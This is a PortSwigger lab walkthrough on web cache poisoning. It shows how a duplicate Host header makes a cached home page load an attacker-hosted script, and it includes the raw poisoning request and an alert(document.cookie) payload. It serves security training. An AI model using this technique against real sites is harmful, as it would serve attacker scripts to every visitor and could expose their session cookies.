Web cache poisoning via ambiguous requests

3 min read Easy Portswigger
HTTP Host header
Contents

On this page

The lab

here is how portswigger describes it

This lab is vulnerable to web cache poisoning due to discrepancies in how the cache and the back-end application handle ambiguous requests. An unsuspecting user regularly visits the site's home page. To solve the lab, poison the cache so the home page executes alert(document.cookie) in the victim's browser.

the site validates the Host header, so we cannot just change it. but when we send two Host headers, the cache and the back-end disagree about which one counts. the cache keys and routes on the first, legitimate host, so the request looks normal to it, while the back-end reflects the second, attacker-controlled host into an absolute script URL on the home page. we point that second host at our exploit server, get the malicious response cached, and every visitor to the home page then loads our tracking.js and runs alert(document.cookie).

why the ambiguous request poisons the cache#

the flaw is a parser discrepancy between two systems that must agree, the cache and the application. the home page builds an absolute <script> URL from the Host header, and the back-end, when faced with duplicate Host headers, uses the second one. the cache, however, validates and keys the request on the first Host, so it considers the request legitimate and cacheable, unaware that the response body now imports a script from our domain. because the malicious value is baked into a response the cache happily stores under the normal home-page key, the poisoning is not a one-off, it is served to everyone who requests / until the cache entry expires. the duplicate Host is the "ambiguous request", the two parsers resolve it differently, and that gap is what we weaponise. a cache buster (?cb=123) lets us test safely against our own cache key before poisoning the real one.

Step 1 - capture the home page request#

we open the lab, click Home to refresh, then in Proxy > HTTP history right-click the GET / request and send it to Repeater.

111

Step 2 - confirm the host is validated#

in Repeater we study the behaviour and notice the site validates the Host header, if we modify it, the home page no longer loads. so a single tampered host is a dead end.

222

Step 3 - find the ambiguous-host reflection#

the original response has verbose caching headers telling us when we hit the cache and how old it is. we add a cache buster (GET /?cb=123) so we can pull fresh back-end responses at will. then we add a second Host header with an arbitrary value, it is ignored for validation and routing, but crucially its value is reflected in an absolute URL that imports a script from /resources/js/tracking.js.

333

Step 4 - confirm the response is cached#

we remove the second Host header and resend with the same cache buster. we still get the previous response back, with our injected value, so the poisoned response is being served from the cache, not regenerated.

444

Step 5 - host the payload#

on the exploit server we create a file at /resources/js/tracking.js containing alert(document.cookie), store it, and copy our exploit server's domain name.

555

Step 6 - poison and verify#

back in Repeater we add a second Host header pointing at our exploit server:

GET /?cb=123 HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net

we send it a few times until we get a cache hit with our exploit URL reflected. to simulate the victim we request the page in the browser using the same cache buster and confirm the alert() fires.

666
777

Step 7 - poison the real home page#

we remove the cache buster and keep replaying the request until the cache entry for / itself is poisoned. the lab is solved when the unsuspecting user visits the home page and our script runs.

888

with this, the lab is solved!